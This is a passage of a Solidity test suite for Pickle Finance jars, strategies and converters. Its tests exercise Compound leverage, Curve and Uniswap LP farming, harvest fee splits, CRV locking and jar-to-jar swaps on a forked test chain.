decimals = ERC20(token1).decimals(); _getWant(10 ether, 4000 * (10**decimals)); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).safeApprove(address(pickleJar), 0); IERC20(want).safeApprove(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); hevm.warp(block.timestamp + 1 weeks); // Call the harvest function uint256 _before = pickleJar.balance(); uint256 _treasuryBefore = IERC20(want).balanceOf(treasury); strategy.harvest(); uint256 _after = pickleJar.balance(); uint256 _treasuryAfter = IERC20(want).balanceOf(treasury); uint256 earned = _after.sub(_before).mul(1000).div(955); uint256 earnedRewards = earned.mul(45).div(1000); // 4.5% uint256 actualRewardsEarned = _treasuryAfter.sub(_treasuryBefore); // 4.5% performance fee is given assertEqApprox(earnedRewards, actualRewardsEarned); // Withdraw uint256 _devBefore = IERC20(want).balanceOf(devfund); _treasuryBefore = IERC20(want).balanceOf(treasury); uint256 _stratBal = strategy.balanceOf(); pickleJar.withdrawAll(); uint256 _devAfter = IERC20(want).balanceOf(devfund); _treasuryAfter = IERC20(want).balanceOf(treasury); // 0.175% goes to dev uint256 _devFund = _devAfter.sub(_devBefore); assertEq(_devFund, _stratBal.mul(175).div(100000)); // 0.325% goes to treasury uint256 _treasuryFund = _treasuryAfter.sub(_treasuryBefore); assertEq(_treasuryFund, _stratBal.mul(325).div(100000)); } } contract PickleSwapTest is DSTestDefiBase { PickleSwap pickleSwap; function setUp() public { pickleSwap = new PickleSwap(); } function _test_uni_lp_swap(address lp1, address lp2) internal { _getUniV2LPToken(lp1, 20 ether); uint256 _balance = IERC20(lp1).balanceOf(address(this)); uint256 _before = IERC20(lp2).balanceOf(address(this)); IERC20(lp1).safeIncreaseAllowance(address(pickleSwap), _balance); pickleSwap.convertWETHPair(lp1, lp2, _balance); uint256 _after = IERC20(lp2).balanceOf(address(this)); assertTrue(_after > _before); assertTrue(_after > 0); } function test_pickleswap_dai_usdc() public { _test_uni_lp_swap( univ2Factory.getPair(weth, dai), univ2Factory.getPair(weth, usdc) ); } function test_pickleswap_dai_usdt() public { _test_uni_lp_swap( univ2Factory.getPair(weth, dai), univ2Factory.getPair(weth, usdt) ); } function test_pickleswap_usdt_susd() public { _test_uni_lp_swap( univ2Factory.getPair(weth, usdt), univ2Factory.getPair(weth, susd) ); } } contract StrategyCmpndDaiV1 is DSTestDefiBase { StrategyCmpdDaiV2 strategy; ControllerV4 controller; PickleJar pickleJar; address governance; address strategist; address timelock; address devfund; address treasury; address want; function setUp() public { want = dai; governance = address(this); strategist = address(new User()); timelock = address(this); devfund = address(new User()); treasury = address(new User()); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = new StrategyCmpdDaiV2( governance, strategist, address(controller), timelock ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); } function testFail_cmpnd_dai_v1_onlyKeeper_leverage() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); User randomUser = new User(); randomUser.execute(address(strategy), 0, "leverageToMax()", ""); } function testFail_cmpnd_dai_v1_onlyKeeper_deleverage() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); strategy.leverageToMax(); User randomUser = new User(); randomUser.execute(address(strategy), 0, "deleverageToMin()", ""); } function test_cmpnd_dai_v1_comp_accrued() public { _getERC20(want, 1000000e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); strategy.leverageToMax(); uint256 compAccrued = strategy.getCompAccrued(); assertEq(compAccrued, 0); hevm.warp(block.timestamp + 1 days); hevm.roll(block.number + 6171); // Roughly number of blocks per day compAccrued = strategy.getCompAccrued(); assertTrue(compAccrued > 0); } function test_cmpnd_dai_v1_comp_sync() public { _getERC20(want, 1000000e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); // Sets colFactor Buffer to be 3% (safeSync is 5%) strategy.setColFactorLeverageBuffer(30); strategy.leverageToMax(); // Back to 10% strategy.setColFactorLeverageBuffer(100); uint256 colFactor = strategy.getColFactor(); uint256 safeColFactor = strategy.getSafeLeverageColFactor(); assertTrue(colFactor > safeColFactor); // Sync automatically fixes the colFactor for us bool shouldSync = strategy.sync(); assertTrue(shouldSync); colFactor = strategy.getColFactor(); assertEqApprox(colFactor, safeColFactor); shouldSync = strategy.sync(); assertTrue(!shouldSync); } function test_cmpnd_dai_v1_leverage() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); uint256 _stratInitialBal = strategy.balanceOf(); uint256 _beforeCR = strategy.getColFactor(); uint256 _beforeLev = strategy.getCurrentLeverage(); strategy.leverageToMax(); uint256 _afterCR = strategy.getColFactor(); uint256 _afterLev = strategy.getCurrentLeverage(); uint256 _safeLeverageColFactor = strategy.getSafeLeverageColFactor(); assertTrue(_afterCR > _beforeCR); assertTrue(_afterLev > _beforeLev); assertEqApprox(_safeLeverageColFactor, _afterCR); uint256 _maxLeverage = strategy.getMaxLeverage(); assertTrue(_maxLeverage > 2e18); // Should be ~2.6, depending on colFactorLeverageBuffer uint256 leverageTarget = strategy.getLeveragedSupplyTarget( _stratInitialBal ); uint256 leverageSupplied = strategy.getSupplied(); assertEqApprox( leverageSupplied, _stratInitialBal.mul(_maxLeverage).div(1e18) ); assertEqApprox(leverageSupplied, leverageTarget); uint256 unleveragedSupplied = strategy.getSuppliedUnleveraged(); assertEqApprox(unleveragedSupplied, _stratInitialBal); } function test_cmpnd_dai_v1_deleverage() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); strategy.leverageToMax(); uint256 _beforeCR = strategy.getColFactor(); uint256 _beforeLev = strategy.getCurrentLeverage(); strategy.deleverageToMin(); uint256 _afterCR = strategy.getColFactor(); uint256 _afterLev = strategy.getCurrentLeverage(); assertTrue(_afterCR < _beforeCR); assertTrue(_afterLev < _beforeLev); assertEq(0, _afterCR); // 0 since we're not borrowing anything uint256 unleveragedSupplied = strategy.getSuppliedUnleveraged(); uint256 supplied = strategy.getSupplied(); assertEqApprox(unleveragedSupplied, supplied); } function test_cmpnd_dai_v1_withdrawSome() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); strategy.leverageToMax(); uint256 _before = IERC20(want).balanceOf(address(this)); pickleJar.withdraw(25e18); uint256 _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); assertEqApprox(_after.sub(_before), 25e18); _before = IERC20(want).balanceOf(address(this)); pickleJar.withdraw(10e18); _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); assertEqApprox(_after.sub(_before), 10e18); _before = IERC20(want).balanceOf(address(this)); pickleJar.withdraw(30e18); _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); assertEqApprox(_after.sub(_before), 30e18); // Make sure we're still leveraging uint256 _leverage = strategy.getCurrentLeverage(); assertTrue(_leverage > 1e18); } function test_cmpnd_dai_v1_withdrawAll() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); strategy.leverageToMax(); hevm.warp(block.timestamp + 1 days); hevm.roll(block.number + 6171); // Roughly number of blocks per day strategy.harvest(); // Withdraws back to pickleJar uint256 _before = IERC20(want).balanceOf(address(pickleJar)); controller.withdrawAll(want); uint256 _after = IERC20(want).balanceOf(address(pickleJar)); assertTrue(_after > _before); _before = IERC20(want).balanceOf(address(this)); pickleJar.withdrawAll(); _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); // Gained some interest assertTrue(_after > _want); } function test_cmpnd_dai_v1_earn_harvest_rewards() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); // Fast forward one week hevm.warp(block.timestamp + 1 days); hevm.roll(block.number + 6171); // Roughly number of blocks per day // Call the harvest function uint256 _before = strategy.getSupplied(); uint256 _treasuryBefore = IERC20(want).balanceOf(treasury); strategy.harvest(); uint256 _after = strategy.getSupplied(); uint256 _treasuryAfter = IERC20(want).balanceOf(treasury); uint256 earned = _after.sub(_before).mul(1000).div(955); uint256 earnedRewards = earned.mul(45).div(1000); // 4.5% uint256 actualRewardsEarned = _treasuryAfter.sub(_treasuryBefore); // 4.5% performance fee is given assertEqApprox(earnedRewards, actualRewardsEarned); // Withdraw uint256 _devBefore = IERC20(want).balanceOf(devfund); _treasuryBefore = IERC20(want).balanceOf(treasury); uint256 _stratBal = strategy.balanceOf(); pickleJar.withdrawAll(); uint256 _devAfter = IERC20(want).balanceOf(devfund); _treasuryAfter = IERC20(want).balanceOf(treasury); // 0.175% goes to dev uint256 _devFund = _devAfter.sub(_devBefore); assertEq(_devFund, _stratBal.mul(175).div(100000)); // 0.325% goes to treasury uint256 _treasuryFund = _treasuryAfter.sub(_treasuryBefore); assertEq(_treasuryFund, _stratBal.mul(325).div(100000)); } function test_cmpnd_dai_v1_functions() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); uint256 initialSupplied = strategy.getSupplied(); uint256 initialBorrowed = strategy.getBorrowed(); uint256 initialBorrowable = strategy.getBorrowable(); uint256 marketColFactor = strategy.getMarketColFactor(); uint256 maxLeverage = strategy.getMaxLeverage(); // Earn deposits 95% into strategy assertEqApprox(initialSupplied, 95e18); assertEqApprox( initialBorrowable, initialSupplied.mul(marketColFactor).div(1e18) ); assertEqApprox(initialBorrowed, 0); // Leverage to Max strategy.leverageToMax(); uint256 supplied = strategy.getSupplied(); uint256 borrowed = strategy.getBorrowed(); uint256 borrowable = strategy.getBorrowable(); uint256 currentColFactor = strategy.getColFactor(); uint256 safeLeverageColFactor = strategy.getSafeLeverageColFactor(); assertEqApprox(supplied, initialSupplied.mul(maxLeverage).div(1e18)); assertEqApprox(borrowed, supplied.mul(safeLeverageColFactor).div(1e18)); assertEqApprox( borrowable, supplied.mul(marketColFactor.sub(currentColFactor)).div(1e18) ); assertEqApprox(currentColFactor, safeLeverageColFactor); assertTrue(marketColFactor > currentColFactor); assertTrue(marketColFactor > safeLeverageColFactor); // Deleverage strategy.deleverageToMin(); uint256 deleverageSupplied = strategy.getSupplied(); uint256 deleverageBorrowed = strategy.getBorrowed(); uint256 deleverageBorrowable = strategy.getBorrowable(); assertEqApprox(deleverageSupplied, initialSupplied); assertEqApprox(deleverageBorrowed, initialBorrowed); assertEqApprox(deleverageBorrowable, initialBorrowable); } function test_cmpnd_dai_v1_deleverage_stepping() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); strategy.leverageToMax(); strategy.deleverageUntil(200e18); uint256 supplied = strategy.getSupplied(); assertEqApprox(supplied, 200e18); strategy.deleverageUntil(180e18); supplied = strategy.getSupplied(); assertEqApprox(supplied, 180e18); strategy.deleverageUntil(120e18); supplied = strategy.getSupplied(); assertEqApprox(supplied, 120e18); } } contract StrategyCurve3CRVv2Test is StrategyCurveFarmTestBase { function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); want = three_crv; controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyCurve3CRVv2( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); hevm.warp(startTime); _getWant(10000000 ether); } function _getWant(uint256 daiAmount) internal { _getERC20(dai, daiAmount); uint256[3] memory liquidity; liquidity[0] = IERC20(dai).balanceOf(address(this)); IERC20(dai).approve(three_pool, liquidity[0]); ICurveFi_3(three_pool).add_liquidity(liquidity, 0); } // **** Tests **** // function test_3crv_v1_withdraw() public { _test_withdraw(); } function test_3crv_v1_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyCurveRenCRVv2Test is StrategyCurveFarmTestBase { function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); want = ren_crv; controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyCurveRenCRVv2( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); hevm.warp(startTime); _getWant(10e8); // 10 wbtc } function _getWant(uint256 btcAmount) internal { _getERC20(wbtc, btcAmount); uint256[2] memory liquidity; liquidity[1] = IERC20(wbtc).balanceOf(address(this)); IERC20(wbtc).approve(ren_pool, liquidity[1]); ICurveFi_2(ren_pool).add_liquidity(liquidity, 0); } // **** Tests **** // function test_rencrv_v1_withdraw() public { _test_withdraw(); } function test_rencrv_v1_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyCurveSCRVv3_2Test is StrategyCurveFarmTestBase { function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); want = scrv; controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyCurveSCRVv3_2( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); hevm.warp(startTime); _getWant(10000000 ether); } function _getWant(uint256 daiAmount) internal { _getERC20(dai, daiAmount); uint256[4] memory liquidity; liquidity[0] = IERC20(dai).balanceOf(address(this)); IERC20(dai).approve(susdv2_pool, liquidity[0]); ICurveFi_4(susdv2_pool).add_liquidity(liquidity, 0); } // **** Tests **** // function test_scrv_v3_1_withdraw() public { _test_withdraw(); } function test_scrv_v3_1_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyCurveSCRVv4Test is DSTestDefiBase { address escrow = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2; address curveSmartContractChecker = 0xca719728Ef172d0961768581fdF35CB116e0B7a4; address governance; address strategist; address timelock; address devfund; address treasury; PickleJar pickleJar; ControllerV4 controller; StrategyCurveSCRVv4_1 strategy; SCRVVoter scrvVoter; CRVLocker crvLocker; function setUp() public { governance = address(this); strategist = address(new User()); timelock = address(this); devfund = address(new User()); treasury = address(new User()); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); crvLocker = new CRVLocker(governance); scrvVoter = new SCRVVoter(governance, address(crvLocker)); strategy = new StrategyCurveSCRVv4_1( address(scrvVoter), address(crvLocker), governance, strategist, address(controller), timelock ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); scrvVoter.approveStrategy(address(strategy)); scrvVoter.approveStrategy(governance); crvLocker.addVoter(address(scrvVoter)); hevm.warp(startTime); // Approve our strategy on smartContractWhitelist // Modify storage value so we are approved by the smart-wallet-white-list // storage in solidity - https://ethereum.stackexchange.com/a/41304 bytes32 key = bytes32(uint256(address(crvLocker))); bytes32 pos = bytes32(0); // pos 0 as its the first state variable bytes32 loc = keccak256(abi.encodePacked(key, pos)); hevm.store(curveSmartContractChecker, loc, bytes32(uint256(1))); // Make sure our crvLocker is whitelisted assertTrue( ICurveSmartContractChecker(curveSmartContractChecker).wallets( address(crvLocker) ) ); } function _getSCRV(uint256 daiAmount) internal { _getERC20(dai, daiAmount); uint256[4] memory liquidity; liquidity[0] = IERC20(dai).balanceOf(address(this)); IERC20(dai).approve(susdv2_pool, liquidity[0]); ICurveFi_4(susdv2_pool).add_liquidity(liquidity, 0); } // **** Tests **** function test_scrv_v4_1_withdraw() public { _getSCRV(10000000 ether); // 1 million DAI uint256 _scrv = IERC20(scrv).balanceOf(address(this)); IERC20(scrv).approve(address(pickleJar), _scrv); pickleJar.deposit(_scrv); // Deposits to strategy pickleJar.earn(); // Fast forwards hevm.warp(block.timestamp + 1 weeks); strategy.harvest(); // Withdraws back to pickleJar uint256 _before = IERC20(scrv).balanceOf(address(pickleJar)); controller.withdrawAll(scrv); uint256 _after = IERC20(scrv).balanceOf(address(pickleJar)); assertTrue(_after > _before); _before = IERC20(scrv).balanceOf(address(this)); pickleJar.withdrawAll(); _after = IERC20(scrv).balanceOf(address(this)); assertTrue(_after > _before); // Gained some interest assertTrue(_after > _scrv); } function test_scrv_v4_1_get_earn_harvest_rewards() public { address dev = controller.devfund(); // Deposit sCRV, and earn _getSCRV(10000000 ether); // 1 million DAI uint256 _scrv = IERC20(scrv).balanceOf(address(this)); IERC20(scrv).approve(address(pickleJar), _scrv); pickleJar.deposit(_scrv); pickleJar.earn(); // Fast forward one week hevm.warp(block.timestamp + 1 weeks); // Call the harvest function uint256 _before = pickleJar.balance(); uint256 _rewardsBefore = IERC20(scrv).balanceOf(treasury); User(strategist).execute(address(strategy), 0, "harvest()", ""); uint256 _after = pickleJar.balance(); uint256 _rewardsAfter = IERC20(scrv).balanceOf(treasury); uint256 earned = _after.sub(_before).mul(1000).div(955); uint256 earnedRewards = earned.mul(45).div(1000); // 4.5% uint256 actualRewardsEarned = _rewardsAfter.sub(_rewardsBefore); // 4.5% performance fee is given assertEqApprox(earnedRewards, actualRewardsEarned); // Withdraw uint256 _devBefore = IERC20(scrv).balanceOf(dev); uint256 _stratBal = strategy.balanceOf(); pickleJar.withdrawAll(); uint256 _devAfter = IERC20(scrv).balanceOf(dev); // 0.175% goes to dev uint256 _devFund = _devAfter.sub(_devBefore); assertEq(_devFund, _stratBal.mul(175).div(100000)); } function test_scrv_v4_1_lock() public { // Deposit sCRV, and earn _getSCRV(10000000 ether); // 1 million DAI uint256 _scrv = IERC20(scrv).balanceOf(address(this)); IERC20(scrv).approve(address(pickleJar), _scrv); pickleJar.deposit(_scrv); pickleJar.earn(); // Fast forward one week hevm.warp(block.timestamp + 1 weeks); uint256 _before = IERC20(crv).balanceOf(address(crvLocker)); // Call the harvest function strategy.harvest(); // Make sure we can open lock uint256 _after = IERC20(crv).balanceOf(address(crvLocker)); assertTrue(_after > _before); // Create a lock crvLocker.createLock(_after, block.timestamp + 5 weeks); // Harvest etc hevm.warp(block.timestamp + 1 weeks); strategy.harvest(); // Increase amount crvLocker.increaseAmount(IERC20(crv).balanceOf(address(crvLocker))); // Increase unlockTime crvLocker.increaseUnlockTime(block.timestamp + 5 weeks); // Fast forward hevm.warp(block.timestamp + 5 weeks + 1 hours); // Withdraw _before = IERC20(crv).balanceOf(address(crvLocker)); crvLocker.release(); _after = IERC20(crv).balanceOf(address(crvLocker)); assertTrue(_after > _before); } } contract StrategyUniEthDaiLpV4Test is StrategyUniFarmTestBase { function setUp() public { want = 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11; token1 = dai; governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyUniEthDaiLpV4( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); // Set time hevm.warp(startTime); } // **** Tests **** function test_ethdaiv3_1_timelock() public { _test_timelock(); } function test_ethdaiv3_1_withdraw_release() public { _test_withdraw_release(); } function test_ethdaiv3_1_get_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyUniEthUsdcLpV4Test is StrategyUniFarmTestBase { function setUp() public { want = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc; token1 = usdc; governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyUniEthUsdcLpV4( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); // Set time hevm.warp(startTime); } // **** Tests **** function test_ethusdcv3_1_timelock() public { _test_timelock(); } function test_ethusdcv3_1_withdraw_release() public { _test_withdraw_release(); } function test_ethusdcv3_1_get_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyUniEthUsdtLpV4Test is StrategyUniFarmTestBase { function setUp() public { want = 0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852; token1 = usdt; governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyUniEthUsdtLpV4( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); // Set time hevm.warp(startTime); } // **** Tests **** function test_ethusdtv3_1_timelock() public { _test_timelock(); } function test_ethusdtv3_1_withdraw_release() public { _test_withdraw_release(); } function test_ethusdtv3_1_get_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyUniEthWBtcLpV2Test is StrategyUniFarmTestBase { function setUp() public { want = 0xBb2b8038a1640196FbE3e38816F3e67Cba72D940; token1 = wbtc; governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyUniEthWBtcLpV2( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); // Set time hevm.warp(startTime); } // **** Tests **** function test_ethwbtcv1_timelock() public { _test_timelock(); } function test_ethwbtcv1_withdraw_release() public { _test_withdraw_release(); } function test_ethwbtcv1_get_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract UniCurveConverterTest is DSTestDefiBase { UniCurveConverter uniCurveConverter; function setUp() public { uniCurveConverter = new UniCurveConverter(); } function _test_uni_curve_converter(address token0, address token1) internal { address lp = univ2Factory.getPair(token0, token1); _getUniV2LPToken(lp, 100 ether); uint256 _balance = IERC20(lp).balanceOf(address(this)); IERC20(lp).safeApprove(address(uniCurveConverter), 0); IERC20(lp).safeApprove(address(uniCurveConverter), uint256(-1)); uint256 _before = IERC20(scrv).balanceOf(address(this)); uniCurveConverter.convert(lp, _balance); uint256 _after = IERC20(scrv).balanceOf(address(this)); // Gets scrv assertTrue(_after > _before); assertTrue(_after > 0); // No token left behind in router assertEq(IERC20(token0).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(token1).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(weth).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(dai).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(usdc).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(usdt).balanceOf(address(uniCurveConverter)), 0); assertEq(IERC20(susd).balanceOf(address(uniCurveConverter)), 0); } function test_uni_curve_convert_dai_weth() public { _test_uni_curve_converter(dai, weth); } function test_uni_curve_convert_usdt_weth() public { _test_uni_curve_converter(usdt, weth); } function test_uni_curve_convert_wbtc_weth() public { _test_uni_curve_converter(wbtc, weth); } } contract StrategyCurveCurveJarSwapTest is DSTestDefiBase { address governance; address strategist; address devfund; address treasury; address timelock; IStrategy[] curveStrategies; PickleJar[] curvePickleJars; ControllerV4 controller; CurveProxyLogic curveProxyLogic; UniswapV2ProxyLogic uniswapV2ProxyLogic; address[] curvePools; address[] curveLps; function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); // Curve Strategies curveStrategies = new IStrategy[](3); curvePickleJars = new PickleJar[](curveStrategies.length); curveLps = new address[](curveStrategies.length); curvePools = new address[](curveStrategies.length); curveLps[0] = three_crv; curvePools[0] = three_pool; curveStrategies[0] = IStrategy( address( new StrategyCurve3CRVv2( governance, strategist, address(controller), timelock ) ) ); curveLps[1] = scrv; curvePools[1] = susdv2_pool; curveStrategies[1] = IStrategy( address( new StrategyCurveSCRVv3_2( governance, strategist, address(controller), timelock ) ) ); curveLps[2] = ren_crv; curvePools[2] = ren_pool; curveStrategies[2] = IStrategy( address( new StrategyCurveRenCRVv2( governance, strategist, address(controller), timelock ) ) ); // Create PICKLE Jars for (uint256 i = 0; i < curvePickleJars.length; i++) { curvePickleJars[i] = new PickleJar( curveStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( curveStrategies[i].want(), address(curvePickleJars[i]) ); controller.approveStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); controller.setStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); } curveProxyLogic = new CurveProxyLogic(); uniswapV2ProxyLogic = new UniswapV2ProxyLogic(); controller.approveJarConverter(address(curveProxyLogic)); controller.approveJarConverter(address(uniswapV2ProxyLogic)); hevm.warp(startTime); } function _getCurveLP(address curve, uint256 amount) internal { if (curve == ren_pool) { _getERC20(wbtc, amount); uint256 _wbtc = IERC20(wbtc).balanceOf(address(this)); IERC20(wbtc).approve(curve, _wbtc); uint256[2] memory liquidity; liquidity[1] = _wbtc; ICurveFi_2(curve).add_liquidity(liquidity, 0); } else { _getERC20(dai, amount); uint256 _dai = IERC20(dai).balanceOf(address(this)); IERC20(dai).approve(curve, _dai); if (curve == three_pool) { uint256[3] memory liquidity; liquidity[0] = _dai; ICurveFi_3(curve).add_liquidity(liquidity, 0); } else { uint256[4] memory liquidity; liquidity[0] = _dai; ICurveFi_4(curve).add_liquidity(liquidity, 0); } } } // **** Internal functions **** // // Theres so many internal functions due to stack blowing up // Some post swap checks // Checks if there's any leftover funds in the converter contract function _post_swap_check(uint256 fromIndex, uint256 toIndex) internal { IERC20 token0 = curvePickleJars[fromIndex].token(); IERC20 token1 = curvePickleJars[toIndex].token(); uint256 MAX_DUST = 10; // No funds left behind assertEq(curvePickleJars[fromIndex].balanceOf(address(controller)), 0); assertEq(curvePickleJars[toIndex].balanceOf(address(controller)), 0); assertTrue(token0.balanceOf(address(controller)) < MAX_DUST); assertTrue(token1.balanceOf(address(controller)) < MAX_DUST); // Make sure only controller can call 'withdrawForSwap' try curveStrategies[fromIndex].withdrawForSwap(0) { revert("!withdraw-for-swap-only-controller"); } catch {} } function _test_check_treasury_fee(uint256 _amount, uint256 earned) internal { assertEqApprox( _amount.mul(controller.convenienceFee()).div( controller.convenienceFeeMax() ), earned.mul(2) ); } function _test_swap_and_check_balances( address fromPickleJar, address toPickleJar, address fromPickleJarUnderlying, uint256 fromPickleJarUnderlyingAmount, address payable[] memory targets, bytes[] memory data ) internal { uint256 _beforeTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _beforeFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _beforeDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _beforeTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 _ret = controller.swapExactJarForJar( fromPickleJar, toPickleJar, fromPickleJarUnderlyingAmount, 0, // Min receive amount targets, data ); uint256 _afterTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _afterFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _afterDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _afterTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 treasuryEarned = _afterTreasury.sub(_beforeTreasury); assertEq(treasuryEarned, _afterDev.sub(_beforeDev)); assertTrue(treasuryEarned > 0); _test_check_treasury_fee(fromPickleJarUnderlyingAmount, treasuryEarned); assertTrue(_afterFrom < _beforeFrom); assertTrue(_afterTo > _beforeTo); assertTrue(_afterTo.sub(_beforeTo) > 0); assertEq(_afterTo.sub(_beforeTo), _ret); assertEq(_afterFrom, 0); } function _get_uniswap_pl_swap_data(address from, address to) internal pure returns (bytes memory) { return abi.encodeWithSignature("swapUniswap(address,address)", from, to); } function _test_curve_curve( uint256 fromIndex, uint256 toIndex, uint256 amount, address payable[] memory targets, bytes[] memory data ) public { // Get LP _getCurveLP(curvePools[fromIndex], amount); // Deposit into pickle jars address from = address(curvePickleJars[fromIndex].token()); uint256 _from = IERC20(from).balanceOf(address(this)); IERC20(from).approve(address(curvePickleJars[fromIndex]), _from); curvePickleJars[fromIndex].deposit(_from); curvePickleJars[fromIndex].earn(); // Approve controller 